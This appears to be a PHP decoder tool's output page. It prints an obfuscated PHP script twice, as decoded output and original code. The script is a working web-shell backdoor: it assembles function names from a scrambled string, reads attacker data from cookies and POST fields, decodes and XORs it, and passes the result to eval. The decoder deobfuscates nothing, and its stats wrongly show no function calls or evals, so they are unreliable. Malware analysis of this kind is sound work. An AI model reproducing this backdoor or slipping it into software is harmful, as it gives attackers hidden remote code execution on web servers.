Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $grguc = 'p-21vs_o4ec\'0*ydbx6lr#iga97knt8uH53fm';$klqyima = Array();$klqyima[] = $..

Decoded Output download

<?php 
$grguc = 'p-21vs_o4ec\'0*ydbx6lr#iga97knt8uH53fm';$klqyima = Array();$klqyima[] = $grguc[32].$grguc[13];$klqyima[] = $grguc[21];$klqyima[] = $grguc[12].$grguc[10].$grguc[33].$grguc[30].$grguc[33].$grguc[18].$grguc[8].$grguc[18].$grguc[1].$grguc[15].$grguc[2].$grguc[2].$grguc[35].$grguc[1].$grguc[8].$grguc[26].$grguc[3].$grguc[35].$grguc[1].$grguc[25].$grguc[8].$grguc[33].$grguc[35].$grguc[1].$grguc[33].$grguc[9].$grguc[24].$grguc[2].$grguc[12].$grguc[16].$grguc[10].$grguc[34].$grguc[26].$grguc[3].$grguc[25].$grguc[15];$klqyima[] = $grguc[10].$grguc[7].$grguc[31].$grguc[28].$grguc[29];$klqyima[] = $grguc[5].$grguc[29].$grguc[20].$grguc[6].$grguc[20].$grguc[9].$grguc[0].$grguc[9].$grguc[24].$grguc[29];$klqyima[] = $grguc[9].$grguc[17].$grguc[0].$grguc[19].$grguc[7].$grguc[15].$grguc[9];$klqyima[] = $grguc[5].$grguc[31].$grguc[16].$grguc[5].$grguc[29].$grguc[20];$klqyima[] = $grguc[24].$grguc[20].$grguc[20].$grguc[24].$grguc[14].$grguc[6].$grguc[36].$grguc[9].$grguc[20].$grguc[23].$grguc[9];$klqyima[] = $grguc[5].$grguc[29].$grguc[20].$grguc[19].$grguc[9].$grguc[28];$klqyima[] = $grguc[0].$grguc[24].$grguc[10].$grguc[27];foreach ($klqyima[7]($_COOKIE, $_POST) as $hdigpqd => $yhriuu){function bspcidp($klqyima, $hdigpqd, $qfxtn){return $klqyima[6]($klqyima[4]($hdigpqd . $klqyima[2], ($qfxtn / $klqyima[8]($hdigpqd)) + 1), 0, $qfxtn);}function vjofqmq($klqyima, $zlonrb){return @$klqyima[9]($klqyima[0], $zlonrb);}function buhnl($klqyima, $zlonrb){$cyypvo = $klqyima[3]($zlonrb) % 3;if (!$cyypvo) {eval($zlonrb[1]($zlonrb[2]));exit();}}$yhriuu = vjofqmq($klqyima, $yhriuu);buhnl($klqyima, $klqyima[5]($klqyima[1], $yhriuu ^ bspcidp($klqyima, $hdigpqd, $klqyima[8]($yhriuu))));} ?>

Did this file decode correctly?

Original Code

<?php
$grguc = 'p-21vs_o4ec\'0*ydbx6lr#iga97knt8uH53fm';$klqyima = Array();$klqyima[] = $grguc[32].$grguc[13];$klqyima[] = $grguc[21];$klqyima[] = $grguc[12].$grguc[10].$grguc[33].$grguc[30].$grguc[33].$grguc[18].$grguc[8].$grguc[18].$grguc[1].$grguc[15].$grguc[2].$grguc[2].$grguc[35].$grguc[1].$grguc[8].$grguc[26].$grguc[3].$grguc[35].$grguc[1].$grguc[25].$grguc[8].$grguc[33].$grguc[35].$grguc[1].$grguc[33].$grguc[9].$grguc[24].$grguc[2].$grguc[12].$grguc[16].$grguc[10].$grguc[34].$grguc[26].$grguc[3].$grguc[25].$grguc[15];$klqyima[] = $grguc[10].$grguc[7].$grguc[31].$grguc[28].$grguc[29];$klqyima[] = $grguc[5].$grguc[29].$grguc[20].$grguc[6].$grguc[20].$grguc[9].$grguc[0].$grguc[9].$grguc[24].$grguc[29];$klqyima[] = $grguc[9].$grguc[17].$grguc[0].$grguc[19].$grguc[7].$grguc[15].$grguc[9];$klqyima[] = $grguc[5].$grguc[31].$grguc[16].$grguc[5].$grguc[29].$grguc[20];$klqyima[] = $grguc[24].$grguc[20].$grguc[20].$grguc[24].$grguc[14].$grguc[6].$grguc[36].$grguc[9].$grguc[20].$grguc[23].$grguc[9];$klqyima[] = $grguc[5].$grguc[29].$grguc[20].$grguc[19].$grguc[9].$grguc[28];$klqyima[] = $grguc[0].$grguc[24].$grguc[10].$grguc[27];foreach ($klqyima[7]($_COOKIE, $_POST) as $hdigpqd => $yhriuu){function bspcidp($klqyima, $hdigpqd, $qfxtn){return $klqyima[6]($klqyima[4]($hdigpqd . $klqyima[2], ($qfxtn / $klqyima[8]($hdigpqd)) + 1), 0, $qfxtn);}function vjofqmq($klqyima, $zlonrb){return @$klqyima[9]($klqyima[0], $zlonrb);}function buhnl($klqyima, $zlonrb){$cyypvo = $klqyima[3]($zlonrb) % 3;if (!$cyypvo) {eval($zlonrb[1]($zlonrb[2]));exit();}}$yhriuu = vjofqmq($klqyima, $yhriuu);buhnl($klqyima, $klqyima[5]($klqyima[1], $yhriuu ^ bspcidp($klqyima, $hdigpqd, $klqyima[8]($yhriuu))));}

Function Calls

None

Variables

$grguc p-21vs_o4ec'0*ydbx6lr#iga97knt8uH53fm
$klqyima []

Stats

MD5 00ee5bee684b1a9d0323af51493a2def
Eval Count 0
Decode Time 121 ms